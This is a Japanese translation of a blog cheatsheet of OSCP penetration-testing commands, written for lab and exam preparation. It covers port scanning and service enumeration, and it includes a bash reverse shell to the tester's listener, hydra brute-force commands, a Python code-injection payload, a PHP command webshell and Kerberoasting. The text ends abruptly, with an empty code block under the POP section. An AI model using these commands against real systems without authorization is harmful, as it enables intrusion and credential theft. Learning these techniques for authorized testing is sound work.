セキュリティ
私のOSCPペンテストチートシート
My OSCP Pentesting Cheatsheet (hackerask.com)
要約
この記事は、OSCP(Offensive Security Certified Professional)試験に合格した著者が作成した、ペネトレーションテストに役立つコマンドとヒントの包括的なチートシートです。ネットワークとサービスの列挙、パスワード推測、リバースシェル、Active Directory、Windowsのポストエクスプロイトなど、多岐にわたるトピックをカバーしています。OSCP受験者やペネトレーションテスターにとって実践的なリファレンスとして役立ちます。
全文翻訳
私のOSCPペンテストチートシート
内容
私のOSCPペンテストチートシート
私は2025年3月14日にOSCP試験を受け、3日後の3月17日にはすでにOSCP試験に合格したとの確認を受けました!
これは、私の個人的なナレッジベースに記録してきた、役立つコマンドのコンパイルされた包括的なリストです。このブログ記事では、ペネトレーションテストとOSCP試験に役立つ、ネットワークとサービスの列挙、パスワード推測、リバースシェル、Active Directory、Windowsのポストエクスプロイトに関する役立つヒントとコマンドを見つけることができます。
役立つヒント
.envファイル
私は準備期間中とOSCP試験中にハッキングした各マシン用に個別のディレクトリを作成しました。次に、これらのディレクトリのそれぞれに.envファイルを作成し、$TARGET_IPや$TARGET_DOMAINなどの役立つ環境変数を保存しました。
```
1 2 export TARGET_IP="10.10.10.11" export TARGET_DOMAIN="hackerask.com"
```
その後、このマシンで作業したいときはいつでも、簡単に.envファイルを読み込むことができました。
```
1 source .env
```
これは、複数のターミナルタブで作業している場合に特に役立ちます。
このファイルを使用して、資格情報など、頻繁に使用する他の環境変数を保存したり、ターミナルロガーの開始などのスクリプトを実行したりすることもできます。
$myip環境変数
私のIPアドレスを$myip環境変数に入れておくのは非常に便利だとわかりました。HackTheBox、Proving Grounds、OSCP試験のチャレンジラボなど、私が使用するすべてのハッキングラボプラットフォームは、OpenVPNを使用してマシンにアクセスするため、tun0ネットワークインターフェースを見てローカルVPN IPアドレスを確認できます。ifconfig tun0またはip addr show tun0で確認できます。
毎回IPアドレスを入力する手間を省くために、次のような$myip環境変数を作成しました。
```
1 export myip=$(ip addr show tun0 2> /dev/null | grep 'inet ' | awk '{print $2}' | cut -d'/' -f1)
```
このエクスポート行を.bashrcまたは.zshrcに追加し、ファイルをソースすることで、環境変数を使用できるようになります。
```
1 2 3 $ echo -n "/bin/bash -i >& /dev/tcp/$myip/5555 0>&1" /bin/bash -i >& /dev/tcp/192.168.178.10/5555 0>&1
```
これにより、tun0ネットワークインターフェースのIPアドレスを含むリバースシェルペイロードが出力されます。
コピーエイリアス
私は、コマンドの出力をターミナルからコピーしてメモに記録することがよくあります。そのため、コマンドの出力をクリップボードにパイプするための簡単なコピーエイリアスを作成しました。
xclipを使用することにしました。xclipはaptでインストールできます。
```
1 sudo apt install xclip
```
エイリアスを作成するには、次の行を.bashrcまたは.zshrcファイルに追加します。
```
1 alias copy='xclip -selection clipboard'
```
そして、ターミナルセッションを再起動するか、ファイルをソースして使用できるようにします。
パイプで連結することでコピーエイリアスを使用できます。
```
1 echo -n "/bin/bash -i >& /dev/tcp/$myip/5555 0>&1" | copy
```
これにより、echoコマンドの出力であるリバースシェルペイロードがクリップボードにパイプされます。
Tmux
OSCPとペネトレーションテスト/レッドチームの割り当てを行うには、tmuxを間違いなく学習して使用すべきです。tmuxは優れたターミナルマルチプレクサであり、単一のウィンドウ内で複数のタブと画面を管理できるため、簡単なキーボードショートカットでさまざまなタブを切り替えることができます。
Tmuxチートシート&クイックリファレンス
ネットワーク列挙
一般
ホスト検出
```
1 2 3 nmap -sn 192.168.178.1-254 -vv -oA hosts cat hosts.nmap | grep "report for" | grep -v "down" | cut -f5 -d ' '
```
nmapが機能しない場合は、ホストにpingを試すこともできます。
```
1 for i in $(seq 1 254); do ping "172.16.115.$i" -c 1 -W 0.1|grep "icmp_seq=1"|cut -f4 -d ' '|tr ':' ' '; done
```
ポートスキャン
私の最初のステップは、通常、nmapで開いているTCPポートを迅速にスキャンすることです。
```
1 $ sudo nmap -p- -vvv $TARGET_IP -oN enum/nmap/quick-scan.txt
```
次に、次のコマンドを使用して、すべてのポートをコンマ区切りで出力できます。
```
1 $ cat enum/nmap/quick-scan.txt | grep '/tcp' | cut -f1 -d '/' | tr '\n' ',' | sed 's/\(.*\),/\1 /'
```
次に、開いているポートを使用して、より詳細なバージョンスキャンを実行できます。
```
1 $ nmap -p<ports> -sC -sV -oA enum/nmap/resource $TARGET_IP
```
TCPポートをスキャンした後、UDPポートもスキャンすることを忘れてはなりません。
```
1 $ sudo nmap -Pn -n $TARGET_IP -sUV --top-ports=100 --reason -oA enum/nmap/resource-udp
```
TCP21 - FTP
匿名ログイン:
```
1 ftp ftp://anonymous:anonymous@$TARGET_IP
```
バナーグラビング:
```
1 nc -vn $TARGET_IP 21
```
すべてのファイルをダウンロード:
```
1 2 wget -m ftp://anonymous:anonymous@$TARGET_IP wget -r --user="USERNAME" --password="PASSWORD" ftp://$TARGET_IP/
```
ブルートフォース:
```
1 hydra -C /usr/share/wordlists/seclists/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt $TARGET_IP ftp
```
22 - SSH
Nmap:
```
1 2 3 4 5 # Check Authentication Methods: nmap -p22 $TARGET_IP --script ssh-auth-methods --script-args="ssh.user=root" # Retrieve Version nmap -p22 $TARGET_IP -sV
```
ブルートフォース:
```
1 hydra -C /usr/share/wordlists/seclists/Passwords/Default-Credentials/ssh-betterdefaultpasslist.txt $TARGET_IP ssh
```
23 - Telnet
バナーグラビング:
```
1 nc -vn $TARGET_IP 23
```
Nmap列挙:
```
1 nmap -n -sV -Pn --script "*telnet* and safe" -p 23 $TARGET_IP
```
スクリプトtelnet-ntlm-info.nseはNTLM情報を取得できます。
25,465,587 - SMTP
バナーグラビング:
```
1 2 3 $ rlwrap nc -vn $TARGET_IP 25 HELO AUTH
```
Nmap:
```
1 2 nmap -p25 --script smtp* -v $TARGET_IP # smpt-commands smtp-enum-users smtp-open-relay
```
メールを送信:
```
1 sudo swaks -t to@receiver.com --from from@sender.com --server $TARGET_IP --header "Subject: TEXT" --body @body.txt --attach @file.pdf --suppress-data -ap
```
53 - DNS
ゾーン転送を試す:
```
1 2 dig axfr @$TARGET_IP dig axfr @$TARGET_IP $TARGET_DOMAIN
```
詳細情報を取得:
```
1 dig ANY @$TARGET_IP $TARGET_DOMAIN
```
79 - finger
finger-user-enum.plを使用してユーザーを列挙できます。
```
1 2 3 $ perl ~/hacking/scripts/kali/finger-user-enum.pl -U /usr/share/wordlists/seclists/Usernames/Names/names.txt -t $TARGET_IP > finger_enum_log.txt $ cat finger_enum_log.txt | grep -v "is not known" | grep "Login:" | cut -f3 -d ' '
```
80,443 - HTTP
```
1 2 3 4 5 6 7 gobuster dir -u "http://$TARGET_IP/" -w /usr/share/wfuzz/wordlist/general/megabeast.txt -o enum/web/80-gobuster.txt gobuster dir -u "http://$TARGET_IP/" -w /usr/share/wordlists/dirb/big.txt -o enum/web/80-gobuster.txt dirsearch -u http://$TARGET_IP -r -o enum/web/80-dirsearch.txt feroxbuster --url http://$TARGET_IP
```
Wordpressスキャナー:
```
1 2 wpscan --url http://$TARGET_IP -e ap,t,tt,u # Enumerate: -e with ap: All plugins, t: Popular Themes, tt: Timthumbs and u:User IDs range 1-10
```
Webdavをサーブ:
```
1 cadaver http://$TARGET_IP
```
Nikto Web脆弱性スキャン:
```
1 nikto -host=http://$TARGET_IP -output=enum/web/80-nikto.txt
```
APIテスト:
```
1 2 3 4 5 6 7 8 9 10 # This is a example from the PG Machine Hetemit # [Werkzeug httpd 1.0.1 (Python 3.6.8) Server] $ curl -i http://192.168.143.117:50000/verify -X POST --data "code=asdf" Internal Server Error $ curl -i http://192.168.143.117:50000/verify -X POST --data "code=5*5" 25 $ curl -i http://192.168.143.117:50000/verify -X POST --data "code=__import__('os').popen('whoami').read()" username
```
etc/hosts:
```
1 echo "$TARGET_IP\t$TARGET_DOMAIN" | copy
```
IISショートネーム: ([../../techniques/iis-shortname.md](https://hackerask.com/techniques/iis-shortname.md)): 一部のIISサーバーは、IISチルダ/ショートネーム列挙に脆弱です。
IIS-ShortName-Scanner:
```
1 2 3 4 5 $ git clone git@github.com:irsdl/IIS-ShortName-Scanner.git $ cd IIS-ShortName-Scanner/Docker/ $ docker build . -t shortname $ docker run shortname 2 20 http://$TARGET_IP
```
基本的なphpウェブシェル:
```
1 echo '<?php echo system($_GET["cmd"]); ?>' > shell.php
```
88 - Kerberos認証
特にやることがありません。ブルートフォースを試すだけです。
```
1 nmap -Pn -p 88 --script=krb5-enum-users --script-args krb5-enum-users.realm="$TARGET_DOMAIN",userdb=/usr/share/wordlists/seclists/Usernames/Names/names.txt $TARGET_IP
```
サービスチケットの取得を試す(ユーザー名/パスワードが必要):
```
1 sudo impacket-GetUserSPNs -request -dc-ip <ip> <domain>/<username>
```
110,995 - POP
列挙:
```
1 2 3 4 nmap --script "pop3-capabilities or pop3-ntlm-info" -sV -p 110,995 $TARGET_IP # Just execute all POP scripts nmap --script pop* -sV -p 110,995 $TARGET_IP
```
POPとの対話:
```
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
```
---